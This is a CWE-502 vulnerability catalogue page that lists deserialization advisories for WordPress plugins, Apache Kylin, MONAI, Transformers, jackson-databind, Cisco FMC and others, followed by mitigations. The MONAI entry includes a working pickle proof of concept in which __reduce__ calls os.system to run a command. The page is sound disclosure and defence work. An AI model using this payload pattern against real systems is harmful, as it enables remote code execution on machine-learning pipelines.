CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
5842 vulnerabilities reference this CWE, most recent first.
GHSA-QXF4-66FG-4H23
Vulnerability from github – Published: 2025-11-13 09:31 – Updated: 2025-11-13 09:31The AI Engine plugin for WordPress is vulnerable to PHP Object Injection via PHAR Deserialization in all versions up to, and including, 3.1.8 via deserialization of untrusted input in the 'rest_simpleTranscribeAudio' and 'rest_simpleVisionQuery' functions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.
{
"affected": [],
"aliases": [
"CVE-2025-12844"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-13T08:15:49Z",
"severity": "HIGH"
},
"details": "The AI Engine plugin for WordPress is vulnerable to PHP Object Injection via PHAR Deserialization in all versions up to, and including, 3.1.8 via deserialization of untrusted input in the \u0027rest_simpleTranscribeAudio\u0027 and \u0027rest_simpleVisionQuery\u0027 functions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.",
"id": "GHSA-qxf4-66fg-4h23",
"modified": "2025-11-13T09:31:16Z",
"published": "2025-11-13T09:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12844"
},
{
"type": "WEB",
"url": "https://github.com/jordymeow/ai-engine/blob/main/classes/api.php#L799"
},
{
"type": "WEB",
"url": "https://github.com/jordymeow/ai-engine/blob/main/classes/engines/chatml.php#L960-L967"
},
{
"type": "WEB",
"url": "https://github.com/jordymeow/ai-engine/blob/main/classes/modules/files.php#L237"
},
{
"type": "WEB",
"url": "https://github.com/jordymeow/ai-engine/blob/main/classes/services/image.php#L43"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3392052"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c39c1b72-e3e0-44fb-8fb8-602cb0aa61e3?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXF8-2P95-9HVV
Vulnerability from github – Published: 2026-09-18 21:32 – Updated: 2026-09-18 21:32IBM WebSphere Application Server 9.0 and 8.5 is affected by a deserialization vulnerability in the Name Service component.
{
"affected": [],
"aliases": [
"CVE-2026-11711"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-18T20:17:01Z",
"severity": "MODERATE"
},
"details": "IBM WebSphere Application Server 9.0 and 8.5 is affected by a deserialization vulnerability in the Name Service component.",
"id": "GHSA-qxf8-2p95-9hvv",
"modified": "2026-09-18T21:32:25Z",
"published": "2026-09-18T21:32:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11711"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7286610"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXQ5-8286-84XG
Vulnerability from github – Published: 2026-10-16 15:38 – Updated: 2026-10-20 18:31Deserialization of Untrusted Data vulnerability in Apache Kylin. Unsafe Java deserialization could happen from a broken external cache service.
This issue affects Apache Kylin: from 4 through 5.0.4.
Users are recommended to upgrade to version 5.0.5, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-64610"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-16T13:16:57Z",
"severity": "CRITICAL"
},
"details": "Deserialization of Untrusted Data vulnerability in Apache Kylin.\u00a0Unsafe Java deserialization could happen from a broken external cache service.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.",
"id": "GHSA-qxq5-8286-84xg",
"modified": "2026-10-20T18:31:37Z",
"published": "2026-10-16T15:38:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64610"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/5jwj20t50wc6x9pw0zmlj8tzfl37dpry"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/10/16/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXQ5-QHX6-94QW
Vulnerability from github – Published: 2026-08-18 20:22 – Updated: 2026-08-18 20:22Summary
GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in
algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py
has not been modified since 2024-07-12 — 18 months before v1.5.2 was released
(2026-01-29). All three pickle.loads() calls remain unchanged. The fix was
never implemented.
## Vulnerable Code
File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)
```python def algo_from_pickle(pkl_filename: str, ...): with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here
# isinstance/key checks happen AFTER deserialization — already too late
algo_bytes = data.pop("algo_bytes")
...
if len(template_paths_candidates) == 0:
algo = pickle.loads(algo_bytes) # SINK 2 — line 350
else:
for p in template_paths_candidates:
algo = pickle.loads(algo_bytes) # SINK 3 — line 356
No Unpickler subclass, no find_class restriction, no allowlist.
Why the Fix is Incomplete
- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch
PoC
import pickle, os
class Exploit: def reduce(self): return (os.system, ('id > /tmp/rce_proof.txt',))
# Craft malicious pkl data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None} with open("/tmp/evil.pkl", "wb") as f: f.write(pickle.dumps(data))
# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim with open("/tmp/evil.pkl", "rb") as f: data = pickle.loads(f.read()) # SINK 1 fires — RCE here algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires
print(open("/tmp/rce_proof.txt").read()) # uid=1000(user) gid=1000(user) groups=...
Verified on monai v1.5.2 (utils.py verbatim source): [+] RCE CONFIRMED via algo_from_pickle(): desktop-5657tb1\woong
Impact
Any application or ML pipeline calling algo_from_pickle() with an attacker-supplied file path is vulnerable to full RCE. Medical AI workflows frequently exchange model checkpoints, making this a realistic attack vector.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:22:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in\n `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py`\n has not been modified since 2024-07-12 \u2014 18 months before v1.5.2 was released\n (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was\n never implemented.\n\n ## Vulnerable Code\n\n File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)\n\n ```python\n def algo_from_pickle(pkl_filename: str, ...):\n with open(pkl_filename, \"rb\") as f_pi:\n data_bytes = f_pi.read()\n data = pickle.loads(data_bytes) # SINK 1 \u2014 line 321, RCE fires here\n\n # isinstance/key checks happen AFTER deserialization \u2014 already too late\n\n algo_bytes = data.pop(\"algo_bytes\")\n ...\n if len(template_paths_candidates) == 0:\n algo = pickle.loads(algo_bytes) # SINK 2 \u2014 line 350\n else:\n for p in template_paths_candidates:\n algo = pickle.loads(algo_bytes) # SINK 3 \u2014 line 356\n\n No Unpickler subclass, no find_class restriction, no allowlist.\n\n Why the Fix is Incomplete\n\n - monai/auto3dseg/utils.py last commit: 2024-07-12 (\"drop python 3.8\")\n - v1.5.2 released: 2026-01-29 \u2014 release notes contain no pickle-related changes\n - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356\n - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch\n\n PoC\n\n import pickle, os\n\n class Exploit:\n def __reduce__(self):\n return (os.system, (\u0027id \u003e /tmp/rce_proof.txt\u0027,))\n\n # Craft malicious pkl\n data = {\"algo_bytes\": pickle.dumps(Exploit()), \"template_path\": None}\n with open(\"/tmp/evil.pkl\", \"wb\") as f:\n f.write(pickle.dumps(data))\n\n # Trigger \u2014 monai/auto3dseg/utils.py lines 319-350 verbatim\n with open(\"/tmp/evil.pkl\", \"rb\") as f:\n data = pickle.loads(f.read()) # SINK 1 fires \u2014 RCE here\n algo = pickle.loads(data[\"algo_bytes\"]) # SINK 2 fires\n\n print(open(\"/tmp/rce_proof.txt\").read())\n # uid=1000(user) gid=1000(user) groups=...\n\n Verified on monai v1.5.2 (utils.py verbatim source):\n [+] RCE CONFIRMED via algo_from_pickle():\n desktop-5657tb1\\woong\n\n Impact\n\n Any application or ML pipeline calling algo_from_pickle() with an\n attacker-supplied file path is vulnerable to full RCE. Medical AI workflows\n frequently exchange model checkpoints, making this a realistic attack vector.",
"id": "GHSA-qxq5-qhx6-94qw",
"modified": "2026-08-18T20:22:30Z",
"published": "2026-08-18T20:22:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-qxq5-qhx6-94qw"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-89gg-p5r5-q6r4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch"
}
GHSA-QXRP-VHVM-J765
Vulnerability from github – Published: 2024-11-23 03:31 – Updated: 2025-02-13 22:15Hugging Face Transformers MobileViTV2 Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the handling of configuration files. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-24322.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "transformers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.48.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-11392"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-11T15:04:55Z",
"nvd_published_at": "2024-11-22T22:15:06Z",
"severity": "HIGH"
},
"details": "Hugging Face Transformers MobileViTV2 Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the handling of configuration files. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-24322.",
"id": "GHSA-qxrp-vhvm-j765",
"modified": "2025-02-13T22:15:58Z",
"published": "2024-11-23T03:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11392"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/issues/34840"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/pull/35296"
},
{
"type": "PACKAGE",
"url": "https://github.com/huggingface/transformers"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/transformers/PYSEC-2024-227.yaml"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1513"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Deserialization of Untrusted Data in Hugging Face Transformers"
}
GHSA-QXWX-C654-V423
Vulnerability from github – Published: 2021-12-07 00:00 – Updated: 2022-03-17 00:06An issue (4 of 6) was discovered in Veritas Enterprise Vault through 14.1.2. On start-up, the Enterprise Vault application starts several services that listen on random .NET Remoting TCP ports for possible commands from client applications. These TCP services can be exploited due to deserialization behavior that is inherent to the .NET Remoting service. A malicious attacker can exploit both TCP remoting services and local IPC services on the Enterprise Vault Server. This vulnerability is mitigated by properly configuring the servers and firewall as described in the vendor's security alert for this vulnerability (VTS21-003, ZDI-CAN-14075).
{
"affected": [],
"aliases": [
"CVE-2021-44680"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-06T22:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue (4 of 6) was discovered in Veritas Enterprise Vault through 14.1.2. On start-up, the Enterprise Vault application starts several services that listen on random .NET Remoting TCP ports for possible commands from client applications. These TCP services can be exploited due to deserialization behavior that is inherent to the .NET Remoting service. A malicious attacker can exploit both TCP remoting services and local IPC services on the Enterprise Vault Server. This vulnerability is mitigated by properly configuring the servers and firewall as described in the vendor\u0027s security alert for this vulnerability (VTS21-003, ZDI-CAN-14075).",
"id": "GHSA-qxwx-c654-v423",
"modified": "2022-03-17T00:06:37Z",
"published": "2021-12-07T00:00:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44680"
},
{
"type": "WEB",
"url": "https://www.veritas.com/content/support/en_US/security/VTS21-003"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1590"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXX8-22P6-C299
Vulnerability from github – Published: 2023-08-14 06:30 – Updated: 2024-04-04 06:54The Dataprobe iBoot PDU running firmware version 1.43.03312023 or earlier is vulnerable to authentication bypass. By manipulating the IP address field in the "iBootPduSiteAuth" cookie, a malicious agent can direct the device to connect to a rouge database.Successful exploitation allows the malicious agent to take actions with administrator privileges including, but not limited to, manipulating power levels, modifying user accounts, and exporting confidential user information
{
"affected": [],
"aliases": [
"CVE-2023-3259"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-14T04:15:10Z",
"severity": "CRITICAL"
},
"details": "The Dataprobe iBoot PDU running firmware version 1.43.03312023 or earlier is vulnerable to authentication bypass. By manipulating the IP address field in the \"iBootPduSiteAuth\" cookie, a malicious agent can direct the device to connect to a rouge database.Successful exploitation allows the malicious agent to take actions with administrator privileges including, but not limited to, manipulating power levels, modifying user accounts, and exporting confidential user information",
"id": "GHSA-qxx8-22p6-c299",
"modified": "2024-04-04T06:54:20Z",
"published": "2023-08-14T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3259"
},
{
"type": "WEB",
"url": "https://www.trellix.com/en-us/about/newsroom/stories/research/the-threat-lurking-in-data-centers.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXXX-2PP7-5HMX
Vulnerability from github – Published: 2018-10-16 17:21 – Updated: 2024-03-01 21:41A deserialization flaw was discovered in the jackson-databind, versions before 2.6.7.1, 2.7.9.1 and 2.8.9, which could allow an unauthenticated user to perform code execution by sending the maliciously crafted input to the readValue method of the ObjectMapper.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.7.0"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.7.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.7.9.0"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-7525"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:53:14Z",
"nvd_published_at": "2018-02-06T15:29:00Z",
"severity": "CRITICAL"
},
"details": "A deserialization flaw was discovered in the jackson-databind, versions before 2.6.7.1, 2.7.9.1 and 2.8.9, which could allow an unauthenticated user to perform code execution by sending the maliciously crafted input to the readValue method of the ObjectMapper.",
"id": "GHSA-qxxx-2pp7-5hmx",
"modified": "2024-03-01T21:41:47Z",
"published": "2018-10-16T17:21:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7525"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/1723"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/1599"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/fd8dec2c7fab8b4b4bd60502a0f1d63ec23c24da"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/fa87c1ddbe803ebb7295f5c2ebfe38e12f6e6162"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/3bfbb835e530055c1941ddf87fde0b08d08dcd38"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/680d75b011edd67a2d2a2e9980998a968194c2ef"
},
{
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{
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"url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
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"url": "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html"
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"url": "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html"
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{
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"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
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{
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"url": "https://www.debian.org/security/2017/dsa-4004"
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"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbhf03902en_us"
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{
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"url": "https://security.netapp.com/advisory/ntap-20171214-0002"
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"url": "https://lists.debian.org/debian-lts-announce/2020/08/msg00039.html"
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"url": "https://lists.debian.org/debian-lts-announce/2020/01/msg00037.html"
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"url": "https://access.redhat.com/errata/RHSA-2017:2635"
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"url": "https://access.redhat.com/errata/RHSA-2017:2636"
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"url": "https://access.redhat.com/errata/RHSA-2017:2637"
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"url": "https://access.redhat.com/errata/RHSA-2017:2638"
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"url": "https://access.redhat.com/errata/RHSA-2017:3141"
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"url": "https://access.redhat.com/errata/RHSA-2019:0910"
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"url": "https://access.redhat.com/errata/RHSA-2019:2858"
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"url": "https://access.redhat.com/errata/RHSA-2019:3149"
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"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1462702"
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"url": "http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html"
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{
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"url": "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html"
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{
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],
"schema_version": "1.4.0",
"severity": [
{
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"type": "CVSS_V3"
}
],
"summary": "jackson-databind is vulnerable to a deserialization flaw"
}
GHSA-R229-MJ76-G2QX
Vulnerability from github – Published: 2026-03-04 18:31 – Updated: 2026-03-19 18:31A vulnerability in the web-based management interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to execute arbitrary Java code as root on an affected device.
This vulnerability is due to insecure deserialization of a user-supplied Java byte stream. An attacker could exploit this vulnerability by sending a crafted serialized Java object to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary code on the device and elevate privileges to root.
Note: If the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced.
{
"affected": [],
"aliases": [
"CVE-2026-20131"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-04T18:16:27Z",
"severity": "CRITICAL"
},
"details": "A vulnerability in the web-based management interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to execute arbitrary Java code as root on an affected device.\n\n This vulnerability is due to insecure deserialization of a user-supplied Java byte stream. An attacker could exploit this vulnerability by sending a crafted serialized Java object to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary code on the device and elevate privileges to root.\n\n Note: If the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced.",
"id": "GHSA-r229-mj76-g2qx",
"modified": "2026-03-19T18:31:15Z",
"published": "2026-03-04T18:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20131"
},
{
"type": "WEB",
"url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-teams-identify-interlock-ransomware-campaign-targeting-enterprise-firewalls"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-rce-NKhnULJh"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20131"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R26J-QWJ4-RVC3
Vulnerability from github – Published: 2026-10-01 15:30 – Updated: 2026-10-01 15:30Contributor PHP Object Injection in Icegram <= 3.1.31 versions.
{
"affected": [],
"aliases": [
"CVE-2026-97284"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-01T15:17:38Z",
"severity": "HIGH"
},
"details": "Contributor PHP Object Injection in Icegram \u003c= 3.1.31 versions.",
"id": "GHSA-r26j-qwj4-rvc3",
"modified": "2026-10-01T15:30:43Z",
"published": "2026-10-01T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97284"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/icegram/vulnerability/wordpress-icegram-plugin-3-1-31-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.